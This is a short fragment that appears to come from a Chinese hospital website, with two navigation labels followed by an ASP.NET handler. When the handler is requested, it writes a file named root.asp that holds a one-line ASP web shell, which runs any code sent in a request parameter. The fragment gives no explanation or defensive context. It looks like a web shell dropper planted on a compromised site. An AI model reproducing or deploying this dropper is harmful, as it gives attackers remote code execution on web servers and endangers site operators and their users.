新闻中心
医患交流
<%@ WebHandler Language=”C#” %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = “text/plain”;
StreamWriter file1= File.CreateText(context.Server.MapPath(“root.asp”));
file1.Write(“<%response.clear:execute request(/”root/”):response.End%>”);
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}